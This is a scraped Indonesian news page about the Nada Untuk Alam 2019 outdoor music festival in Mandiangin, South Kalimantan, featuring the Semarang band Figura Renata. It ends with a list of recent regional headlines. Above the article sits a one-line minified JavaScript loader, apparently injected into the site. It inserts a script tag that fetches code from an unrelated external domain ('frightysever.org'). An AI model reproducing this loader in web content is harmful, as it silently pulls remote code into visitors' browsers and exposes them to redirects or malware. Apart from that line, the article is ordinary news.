(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Bermusik di Alam Terbuka Mandiangin, Figura Renata Menyatu di NUA 2019


MARTAPURA, Tidak pernah absen dalam event musik tahunan di Kalsel, Nada Untuk Alam (NUA) 2019 sukses menghibur anak-anak muda yang hobi bercengkrama dengan alam bebas, di Mandiangin, Taman Hutan Raya Sultan Adam, Kabupaten Banjar, Sabtu (23/6).

Pada tahun ini, NUA menunjukan eksistensi dengan menghadirkan band kenamaan asal kota Semarang yakni Figura Renata. Ya, band yang digawangi duo personel yaitu Deviassita Putri (vokal) dan Bima Sinatrya (gitar, vokal) ini berhasil memecah euforia penonton lewat lantunan melodi dan lirik lagu yang puitis.

Ketua Panitia NUA 2019, Muhammad Yulian Effendi mengatakan, ada berbagai pertimbangan dari pihaknya untuk memilih Figura Renata sebagai bintang tamu. Menurutnya, band yang berdiri sejak Oktober 2015 ini belum pernah sama sekali tampil di Kalsel yang tentunya dapat dijadikan sebagai ajang temu para penggemarnya.

“Lagu-lagunya enak didengar, juga memiliki beberapa single hits yang mana sangat cocok dengan konsep acara di alam. Terbukti antusias penonton saat Figura Renata naik ke panggung, itu luar biasa,” katanya.

Acara yang digagas oleh Morning Art Media Creative ini memang telah menjadi sorotan dari berbagai kalangan sejak beberapa tahun terakhir. Dengan mengangkat budaya musik khas Kalsel, panorama keindahan alam serta kreativitas musik dari band-band lokal, telah membuat NUA dikenal sampai saat ini. Tidak heran, penontonnya pun ada yang berasal dari luar daerah.

Berlatar belakang hutan pepohonan, NUA 2019 memiliki konsep yang lebih elegan dari gelaran sebelumnya. Tentunya, Morning Art Media Creative juga menyediakan berbagai kebutuhan bagi para penonton dengan tersedianya stand makanan dan minuman, serta berbagai macam souvenir agar membuat para pengunjung tetap nyaman.


Menonton konser musik di alam terbuka selalu melahirkan nuansa dan kesan tersendiri. Seperti dirasakan, Farid (20) asal Kabupaten Balangan yang mengatakan kedatangannya kali ini menjadi pertama kalinya sejak di gelarnya NUA pertama kali pada tahun 2015.

“Baru pertama kali dan acaranya luar biasa. Kalau saya dan teman-teman saya, memilih untuk bermalam di sini sekalian camping. Di acara ini saya juga banyak kenal beberapa teman dari berbagai daerah,” katanya.

Selain itu, berbeda dengan tahun-tahun sebelumnya, NUA 2019 juga turut memadukan kreatifitas teknologi anak Banua lewat video dokumentasi tentang maskot Kalsel yakni Bekantan.

Ketua Panitia NUA 2019, mengatakan masih banyak seniman dan musisi kreatif yang dapat ditampilkan dalam festival musik. Ia berharap adanya wadah dimana seniman dan musisi tersebut dapat menyalurkan karya-karyanya.

“NUA hanya salah satu wadah dimana teman-teman seniman kita bisa bekreasi. Kita harap event-event musik setiap tahun bisa terus di tonjolkan. Namun tentu saja itu membutuhkan dukungan dan partisipasi teman-teman penikmat musik,” tandasnya. (rico)

Reporter :Rico
Editor :Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.